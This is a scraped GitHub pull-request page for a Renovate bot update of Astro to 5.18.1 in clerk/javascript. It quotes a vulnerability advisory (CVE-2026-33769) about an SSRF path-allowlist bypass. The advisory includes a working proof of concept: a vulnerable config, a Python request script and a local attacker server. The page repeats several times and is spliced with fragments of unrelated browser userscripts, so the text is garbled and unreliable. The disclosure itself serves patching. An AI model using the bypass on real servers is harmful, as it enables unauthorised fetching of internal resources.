npm i https://pkg.pr.new/@clerk/dev-cli@8279

@clerk/expo
npm i https://pkg.pr.new/@clerk/expo@8279

@clerk/expo-passkeys
npm i https://pkg.pr.new/@clerk/expo-passkeys@8279

@clerk/express
npm i https://pkg.pr.new/@clerk/express@8279

@clerk/fastify
npm i https://pkg.pr.new/@clerk/fastify@8279

@clerk/hono
npm i https://pkg.pr.new/@clerk/hono@8279

@clerk/localizations
npm i https://pkg.pr.new/@clerk/localizations@8279

@clerk/nextjs
npm i https://pkg.pr.new/@clerk/nextjs@8279

@clerk/nuxt
npm i https://pkg.pr.new/@clerk/nuxt@8279

@clerk/react
npm i https://pkg.pr.new/@clerk/react@8279

@clerk/react-router
npm i https://pkg.pr.new/@clerk/react-router@8279

@clerk/shared
npm i https://pkg.pr.new/@clerk/shared@8279

@clerk/tanstack-react-start
npm i https://pkg.pr.new/@clerk/tanstack-react-start@8279

@clerk/testing
npm i https://pkg.pr.new/@clerk/testing@8279

@clerk/ui
npm i https://pkg.pr.new/@clerk/ui@8279

@clerk/upgrade
npm i https://pkg.pr.new/@clerk/upgrade@8279

@clerk/vue
npm i https://pkg.pr.new/@clerk/vue@8279

commit: 4ff8c51
@renovate
renovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

ContributorAuthor
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠️Warning: custom changes will be lost.
@jacekradko
jacekradkoforce-pushed
the
renovate/npm-astro-vulnerability
branch
from
144afbb to
4ff8c51CompareApril 9, 2026 02:57
@jacekradko
jacekradko
merged commit 4c8a31a
into
mainApr 9, 2026

38 of 41 checks passed

@jacekradko
jacekradko
deleted the

renovate/npm-astro-vulnerability

branch
April 9, 2026 11:48
@clerk-cookieclerk-cookie
mentioned this pull request
Apr 9, 2026
 Merged

@diegohazdiegohaz
mentioned this pull request
Apr 16, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


1 more reviewer

@jacekradkojacekradkojacekradko approved these changes
Reviewers whose approvals may not affect merge requirements

Assignees


No one assigned


Labels

astrodependenciesPull requests that update a dependency file

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

1 participant

@jacekradko

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Highlight search terms from Google/DuckDuckGo/Bing referrer
(function() {
var ref = document.referrer;
var terms = [];
if (ref.includes('google.com') || ref.includes('duckduckgo.com') || ref.includes('bing.com')) {
var url = new URL(ref);
var q = url.searchParams.get('q') || url.searchParams.get('p');
if (q) {
terms = q.split(/\s+/).filter(function(t) { return t.length > 2; });
}
}
if (terms.length === 0) return;
var style = document.createElement('style');
style.textContent = '.userscript-highlight { background: #fbbf24; color: #1a1a2e; padding: 1px 3px; border-radius: 2px; }';
document.head.appendChild(style);
function highlight(node) {
if (node.nodeType === 3) { // text node
var text = node.textContent;
var found = false;
terms.forEach(function(term) {
var regex = new RegExp('(' + term.replace(/[.*+?^${}()|[\]\\]/g, '\\') + ')', 'gi');
if (regex.test(text)) {
found = true;
var frag = document.createDocumentFragment();
var parts = text.split(regex);
parts.forEach(function(part, i) {
if (i % 2 === 0) {
frag.appendChild(document.createTextNode(part));
} else {
var span = document.createElement('span');
span.className = 'userscript-highlight';
span.textContent = part;
frag.appendChild(span);
}
});
node.parentNode.replaceChild(frag, node);
}
});
} else if (node.nodeType === 1 && node.childNodes) { // element
var skipTags = ['SCRIPT', 'STYLE', 'NOSCRIPT', 'TEXTAREA', 'INPUT', 'SELECT'];
if (!skipTags.includes(node.tagName)) {
Array.from(node.childNodes).forEach(highlight);
}
}
}
highlight(document.body);
// Re-highlight on dynamic content
var observer = new MutationObserver(function(mutations) {
mutations.forEach(function(m) {
m.addedNodes.forEach(function(node) {
if (node.nodeType === 1 || node.nodeType === 3) highlight(node);
});
});
});
observer.observe(document.body, { childList: true, subtree: true });
})();
}
} catch(__e) { console.warn('[Userscript:Highlight Search Terms]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '
chore(astro): Update dependency astro to v5.18.1 [SECURITY] by renovate[bot] · Pull Request #8279 · clerk/javascript · GitHub
Skip to content
chore(astro): Update dependency astro to v5.18.1 [SECURITY] - #8279
Merged
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Apr 9, 2026
Merged
chore(astro): Update dependency astro to v5.18.1 [SECURITY]#8279
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeAdoptionPassingConfidence
astro (source)5.17.1 → 5.18.1ageadoptionpassingconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
GitHub Vulnerability Alerts
CVE-2026-33769
Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
consturl=newURL(request.url);consttransform=awaitimageService.parseURL(url,imageConfig);constisRemoteImage=isRemotePath(transform.src);if(isRemoteImage&&isRemoteAllowed(transform.src,imageConfig)===false){returnnewResponse('Forbidden',{status: 403});}
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
exportfunctionmatchPattern(url: URL,remotePattern: RemotePattern): boolean{return(matchProtocol(url,remotePattern.protocol)&&matchHostname(url,remotePattern.hostname,true)&&matchPort(url,remotePattern.port)&&matchPathname(url,remotePattern.pathname,true));}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
}elseif(pathname.endsWith('/*')){constslicedPathname=pathname.slice(0,-1);// * lengthconstadditionalPathChunks=url.pathname.replace(slicedPathname,'').split('/').filter(Boolean);returnadditionalPathChunks.length===1;}
Vulnerable code flow:
  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import{defineConfig}from'astro/config';importnodefrom'@&#8203;astrojs/node';exportdefaultdefineConfig({output: 'server',adapter: node({mode: 'standalone'}),image: {remotePatterns: [{protocol: 'https',hostname: 'cdn.example',pathname: '/img/*'},{protocol: 'http',hostname: '127.0.0.1',port: '9999',pathname: '/img/*'},],},});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
importhttp.clientimportjsonimporturllib.parseHOST="127.0.0.1"PORT=4321deffetch(path: str) ->dict:
conn=http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp=conn.getresponse()
body=resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed=urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass=urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should failresults= {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerHOST="127.0.0.1"PORT=9999PAYLOAD="""<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text></svg>"""classHandler(BaseHTTPRequestHandler):
defdo_GET(self):
print(f">>> {self.command}{self.path}")
ifself.path.endswith(".svg") or"/img/"inself.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
returnself.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
deflog_message(self, format, *args):
returnif__name__=="__main__":
server=HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Release Notes
withastro/astro (astro)
v5.18.1
Compare Source
Patch Changes
v5.18.0
Compare Source
Minor Changes
  • #​15589b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.
    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.
    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.
    // astro.config.mjsexportdefaultdefineConfig({security: {actionBodySizeLimit: 10*1024*1024,// set to 10 MB},});
Patch Changes
  • #​15594efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.
v5.17.3
Compare Source
Patch Changes
v5.17.2
Compare Source
Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies
Configuration
📅 Schedule: (in timezone GMT)
  • Branch creation

    • ""
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
added
the 
dependencies
Pull requests that update a dependency file
label
Apr 9, 2026
@changeset-bot
changeset-botBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

🦋 Changeset detected
Latest commit: 4ff8c51
The changes in this PR will be included in the next version bump.
This PR includes changesets to release 1 package
NameType
@clerk/astroPatch
Not sure what this means? Click here to learn what changesets are.
Click here if you're a maintainer who wants to add another changeset to this PR
@vercel
vercelBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.
ProjectDeploymentActionsUpdated (UTC)
clerk-js-sandboxReadyReadyPreview, CommentApr 9, 2026 2:58am
Request Review
@pkg-pr-new
pkg-pr-newBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

Open in StackBlitz
@clerk/agent-toolkit
npm i https://pkg.pr.new/@clerk/agent-toolkit@8279

@clerk/astro
npm i https://pkg.pr.new/@clerk/astro@8279

@clerk/backend
npm i https://pkg.pr.new/@clerk/backend@8279

@clerk/chrome-extension
npm i https://pkg.pr.new/@clerk/chrome-extension@8279

@clerk/clerk-js
npm i https://pkg.pr.new/@clerk/clerk-js@8279

@clerk/dev-cli
npm i https://pkg.pr.new/@clerk/dev-cli@8279

@clerk/expo
npm i https://pkg.pr.new/@clerk/expo@8279

@clerk/expo-passkeys
npm i https://pkg.pr.new/@clerk/expo-passkeys@8279

@clerk/express
npm i https://pkg.pr.new/@clerk/express@8279

@clerk/fastify
npm i https://pkg.pr.new/@clerk/fastify@8279

@clerk/hono
npm i https://pkg.pr.new/@clerk/hono@8279

@clerk/localizations
npm i https://pkg.pr.new/@clerk/localizations@8279

@clerk/nextjs
npm i https://pkg.pr.new/@clerk/nextjs@8279

@clerk/nuxt
npm i https://pkg.pr.new/@clerk/nuxt@8279

@clerk/react
npm i https://pkg.pr.new/@clerk/react@8279

@clerk/react-router
npm i https://pkg.pr.new/@clerk/react-router@8279

@clerk/shared
npm i https://pkg.pr.new/@clerk/shared@8279

@clerk/tanstack-react-start
npm i https://pkg.pr.new/@clerk/tanstack-react-start@8279

@clerk/testing
npm i https://pkg.pr.new/@clerk/testing@8279

@clerk/ui
npm i https://pkg.pr.new/@clerk/ui@8279

@clerk/upgrade
npm i https://pkg.pr.new/@clerk/upgrade@8279

@clerk/vue
npm i https://pkg.pr.new/@clerk/vue@8279

commit: 4ff8c51
@renovate
renovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

ContributorAuthor
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠️Warning: custom changes will be lost.
@jacekradko
jacekradkoforce-pushed
the
renovate/npm-astro-vulnerability
branch
from
144afbb to
4ff8c51CompareApril 9, 2026 02:57
@jacekradko
jacekradko
merged commit 4c8a31a
into
mainApr 9, 2026

38 of 41 checks passed

@jacekradko
jacekradko
deleted the

renovate/npm-astro-vulnerability

branch
April 9, 2026 11:48
@clerk-cookieclerk-cookie
mentioned this pull request
Apr 9, 2026
 Merged

@diegohazdiegohaz
mentioned this pull request
Apr 16, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


1 more reviewer

@jacekradkojacekradkojacekradko approved these changes
Reviewers whose approvals may not affect merge requirements

Assignees


No one assigned


Labels

astrodependenciesPull requests that update a dependency file

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

1 participant

@jacekradko

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Strip utm_, fbclid, gclid, etc. from all links on page
(function() {
var trackingParams = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content',
'fbclid', 'gclid', 'dclid', 'msclkid', 'yclid',
'ref', 'ref_src', 'source', 'medium', 'campaign'];
function cleanUrl(url) {
try {
var u = new URL(url, window.location.origin);
var changed = false;
trackingParams.forEach(function(p) {
if (u.searchParams.has(p)) {
u.searchParams.delete(p);
changed = true;
}
});
return changed ? u.toString() : url;
} catch (e) {
return url;
}
}
function cleanLinks() {
document.querySelectorAll('a[href]').forEach(function(a) {
var clean = cleanUrl(a.href);
if (clean !== a.href) a.href = clean;
});
}
cleanLinks();
var observer = new MutationObserver(function(mutations) {
mutations.forEach(function(m) {
m.addedNodes.forEach(function(node) {
if (node.nodeType === 1) {
if (node.tagName === 'A') cleanLinks();
node.querySelectorAll('a[href]').forEach(function(a) {
var clean = cleanUrl(a.href);
if (clean !== a.href) a.href = clean;
});
}
});
});
});
observer.observe(document.body, { childList: true, subtree: true });
})();
}
} catch(__e) { console.warn('[Userscript:Remove Tracking Parameters from Links]', __e); }
})();
(function(){
try {
var __m = "youtube.com";
var __re = new RegExp('^' + "youtube\\.com" + '
chore(astro): Update dependency astro to v5.18.1 [SECURITY] by renovate[bot] · Pull Request #8279 · clerk/javascript · GitHub
Skip to content
chore(astro): Update dependency astro to v5.18.1 [SECURITY] - #8279
Merged
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Apr 9, 2026
Merged
chore(astro): Update dependency astro to v5.18.1 [SECURITY]#8279
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeAdoptionPassingConfidence
astro (source)5.17.1 → 5.18.1ageadoptionpassingconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
GitHub Vulnerability Alerts
CVE-2026-33769
Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
consturl=newURL(request.url);consttransform=awaitimageService.parseURL(url,imageConfig);constisRemoteImage=isRemotePath(transform.src);if(isRemoteImage&&isRemoteAllowed(transform.src,imageConfig)===false){returnnewResponse('Forbidden',{status: 403});}
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
exportfunctionmatchPattern(url: URL,remotePattern: RemotePattern): boolean{return(matchProtocol(url,remotePattern.protocol)&&matchHostname(url,remotePattern.hostname,true)&&matchPort(url,remotePattern.port)&&matchPathname(url,remotePattern.pathname,true));}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
}elseif(pathname.endsWith('/*')){constslicedPathname=pathname.slice(0,-1);// * lengthconstadditionalPathChunks=url.pathname.replace(slicedPathname,'').split('/').filter(Boolean);returnadditionalPathChunks.length===1;}
Vulnerable code flow:
  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
import{defineConfig}from'astro/config';importnodefrom'@&#8203;astrojs/node';exportdefaultdefineConfig({output: 'server',adapter: node({mode: 'standalone'}),image: {remotePatterns: [{protocol: 'https',hostname: 'cdn.example',pathname: '/img/*'},{protocol: 'http',hostname: '127.0.0.1',port: '9999',pathname: '/img/*'},],},});
Affected pages
This PoC targets the /_image endpoint directly; no additional pages are required.
PoC Code
importhttp.clientimportjsonimporturllib.parseHOST="127.0.0.1"PORT=4321deffetch(path: str) ->dict:
conn=http.client.HTTPConnection(HOST, PORT, timeout=10)
conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
resp=conn.getresponse()
body=resp.read(2000).decode("utf-8", errors="replace")
conn.close()
return {
"path": path,
"status": resp.status,
"reason": resp.reason,
"headers": dict(resp.getheaders()),
"body_snippet": body[:400],
}
allowed=urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass=urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")
# Both pass, second should failresults= {
"allowed": fetch(f"/_image?href={allowed}&f=svg"),
"bypass": fetch(f"/_image?href={bypass}&f=svg"),
}
print(json.dumps(results, indent=2))
Attacker server
fromhttp.serverimportBaseHTTPRequestHandler, HTTPServerHOST="127.0.0.1"PORT=9999PAYLOAD="""<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text></svg>"""classHandler(BaseHTTPRequestHandler):
defdo_GET(self):
print(f">>> {self.command}{self.path}")
ifself.path.endswith(".svg") or"/img/"inself.path:
self.send_response(200)
self.send_header("Content-Type", "image/svg+xml")
self.send_header("Cache-Control", "no-store")
self.end_headers()
self.wfile.write(PAYLOAD.encode("utf-8"))
returnself.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
deflog_message(self, format, *args):
returnif__name__=="__main__":
server=HTTPServer((HOST, PORT), Handler)
print(f"HTTP logger listening on http://{HOST}:{PORT}")
server.serve_forever()
PoC Steps
  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.
Release Notes
withastro/astro (astro)
v5.18.1
Compare Source
Patch Changes
v5.18.0
Compare Source
Minor Changes
  • #​15589b7dd447 Thanks @​qzio! - Adds a new security.actionBodySizeLimit option to configure the maximum size of Astro Actions request bodies.
    This lets you increase the default 1 MB limit when your actions need to accept larger payloads. For example, actions that handle file uploads or large JSON payloads can now opt in to a higher limit.
    If you do not set this option, Astro continues to enforce the 1 MB default to help prevent abuse.
    // astro.config.mjsexportdefaultdefineConfig({security: {actionBodySizeLimit: 10*1024*1024,// set to 10 MB},});
Patch Changes
  • #​15594efae11c Thanks @​qzio! - Fix X-Forwarded-Proto validation when allowedDomains includes both protocol and hostname fields. The protocol check no longer fails due to hostname mismatch against the hardcoded test URL.
v5.17.3
Compare Source
Patch Changes
v5.17.2
Compare Source
Patch Changes
  • c13b536 Thanks @​matthewp! - Improves Host header handling for SSR deployments behind proxies
Configuration
📅 Schedule: (in timezone GMT)
  • Branch creation

    • ""
  • Automerge

    • At any time (no schedule defined)
🚦 Automerge: Enabled.
♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.
🔕 Ignore: Close this PR and you won't be reminded about this update again.
  •  If you want to rebase/retry this PR, check this box
This PR was generated by Mend Renovate. View the repository job log.
@renovaterenovateBot
added
the 
dependencies
Pull requests that update a dependency file
label
Apr 9, 2026
@changeset-bot
changeset-botBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

🦋 Changeset detected
Latest commit: 4ff8c51
The changes in this PR will be included in the next version bump.
This PR includes changesets to release 1 package
NameType
@clerk/astroPatch
Not sure what this means? Click here to learn what changesets are.
Click here if you're a maintainer who wants to add another changeset to this PR
@vercel
vercelBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.
ProjectDeploymentActionsUpdated (UTC)
clerk-js-sandboxReadyReadyPreview, CommentApr 9, 2026 2:58am
Request Review
@pkg-pr-new
pkg-pr-newBot
commented
Apr 9, 2026•

edited

Loading

Copy link


Copy Markdown

Open in StackBlitz
@clerk/agent-toolkit
npm i https://pkg.pr.new/@clerk/agent-toolkit@8279

@clerk/astro
npm i https://pkg.pr.new/@clerk/astro@8279

@clerk/backend
npm i https://pkg.pr.new/@clerk/backend@8279

@clerk/chrome-extension
npm i https://pkg.pr.new/@clerk/chrome-extension@8279

@clerk/clerk-js
npm i https://pkg.pr.new/@clerk/clerk-js@8279

@clerk/dev-cli
npm i https://pkg.pr.new/@clerk/dev-cli@8279

@clerk/expo
npm i https://pkg.pr.new/@clerk/expo@8279

@clerk/expo-passkeys
npm i https://pkg.pr.new/@clerk/expo-passkeys@8279

@clerk/express
npm i https://pkg.pr.new/@clerk/express@8279

@clerk/fastify
npm i https://pkg.pr.new/@clerk/fastify@8279

@clerk/hono
npm i https://pkg.pr.new/@clerk/hono@8279

@clerk/localizations
npm i https://pkg.pr.new/@clerk/localizations@8279

@clerk/nextjs
npm i https://pkg.pr.new/@clerk/nextjs@8279

@clerk/nuxt
npm i https://pkg.pr.new/@clerk/nuxt@8279

@clerk/react
npm i https://pkg.pr.new/@clerk/react@8279

@clerk/react-router
npm i https://pkg.pr.new/@clerk/react-router@8279

@clerk/shared
npm i https://pkg.pr.new/@clerk/shared@8279

@clerk/tanstack-react-start
npm i https://pkg.pr.new/@clerk/tanstack-react-start@8279

@clerk/testing
npm i https://pkg.pr.new/@clerk/testing@8279

@clerk/ui
npm i https://pkg.pr.new/@clerk/ui@8279

@clerk/upgrade
npm i https://pkg.pr.new/@clerk/upgrade@8279

@clerk/vue
npm i https://pkg.pr.new/@clerk/vue@8279

commit: 4ff8c51
@renovate
renovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

ContributorAuthor
Edited/Blocked Notification
Renovate will not automatically rebase this PR, because it does not recognize the last commit author and assumes somebody else may have edited the PR.
You can manually request rebase by checking the rebase/retry box above.
⚠️Warning: custom changes will be lost.
@jacekradko
jacekradkoforce-pushed
the
renovate/npm-astro-vulnerability
branch
from
144afbb to
4ff8c51CompareApril 9, 2026 02:57
@jacekradko
jacekradko
merged commit 4c8a31a
into
mainApr 9, 2026

38 of 41 checks passed

@jacekradko
jacekradko
deleted the

renovate/npm-astro-vulnerability

branch
April 9, 2026 11:48
@clerk-cookieclerk-cookie
mentioned this pull request
Apr 9, 2026
 Merged

@diegohazdiegohaz
mentioned this pull request
Apr 16, 2026
 Merged

Sign up for freeto join this conversation on GitHub.
Already have an account?
Sign in to comment

Reviewers


1 more reviewer

@jacekradkojacekradkojacekradko approved these changes
Reviewers whose approvals may not affect merge requirements

Assignees


No one assigned


Labels

astrodependenciesPull requests that update a dependency file

Projects


None yet


Milestone


No milestone


Development

Successfully merging this pull request may close these issues.

1 participant

@jacekradko

, 'i');
if (__m === '*' || __re.test(location.href)) {
// Auto-enable theater mode on YouTube
(function() {
function tryTheater() {
var btn = document.querySelector('button[aria-label="Theater mode"], ytd-player #player button[title="Theater mode"]');
if (btn && !btn.classList.contains('activated')) {
btn.click();
}
}
// Try immediately
tryTheater();
// Try after navigation (SPA)
var lastUrl = location.href;
setInterval(function() {
if (location.href !== lastUrl) {
lastUrl = location.href;
setTimeout(tryTheater, 500);
}
}, 1000);
// Also try on player load
var observer = new MutationObserver(tryTheater);
observer.observe(document.body, { childList: true, subtree: true });
})();
}
} catch(__e) { console.warn('[Userscript:YouTube Theater Mode Default]', __e); }
})();
(function(){
try {
var __m = "*";
var __re = new RegExp('^' + ".*" + '
chore(astro): Update dependency astro to v5.18.1 [SECURITY] by renovate[bot] · Pull Request #8279 · clerk/javascript · GitHub
Skip to content
chore(astro): Update dependency astro to v5.18.1 [SECURITY] - #8279
Merged
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Apr 9, 2026
Merged
chore(astro): Update dependency astro to v5.18.1 [SECURITY]#8279
jacekradko merged 1 commit into
mainfrom 
renovate/npm-astro-vulnerability
Conversation
@renovate
@renovaterenovateBot
commented
Apr 9, 2026

Copy link


Copy Markdown

Contributor
This PR contains the following updates:
PackageChangeAgeAdoptionPassingConfidence
astro (source)5.17.1 → 5.18.1ageadoptionpassingconfidence
Warning
Some dependencies could not be looked up. Check the Dependency Dashboard for more information.
GitHub Vulnerability Alerts
CVE-2026-33769
Summary
This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.
Impact
Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.
Description
Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()
User-controlled href is parsed into transform.src and validated via isRemoteAllowed():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56
consturl=newURL(request.url);consttransform=awaitimageService.parseURL(url,imageConfig);constisRemoteImage=isRemotePath(transform.src);if(isRemoteImage&&isRemoteAllowed(transform.src,imageConfig)===false){returnnewResponse('Forbidden',{status: 403});}
isRemoteAllowed() checks each remotePattern via matchPattern():
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21
exportfunctionmatchPattern(url: URL,remotePattern: RemotePattern): boolean{return(matchProtocol(url,remotePattern.protocol)&&matchHostname(url,remotePattern.hostname,true)&&matchPort(url,remotePattern.port)&&matchPathname(url,remotePattern.pathname,true));}
The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:
Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99
}elseif(pathname.endsWith('/*')){constslicedPathname=pathname.slice(0,-1);// * lengthconstadditionalPathChunks=url.pathname.replace(slicedPathname,'').split('/').filter(Boolean);returnadditionalPathChunks.length===1;}
Vulnerable code flow:
  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.
PoC
The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.
Vulnerable config
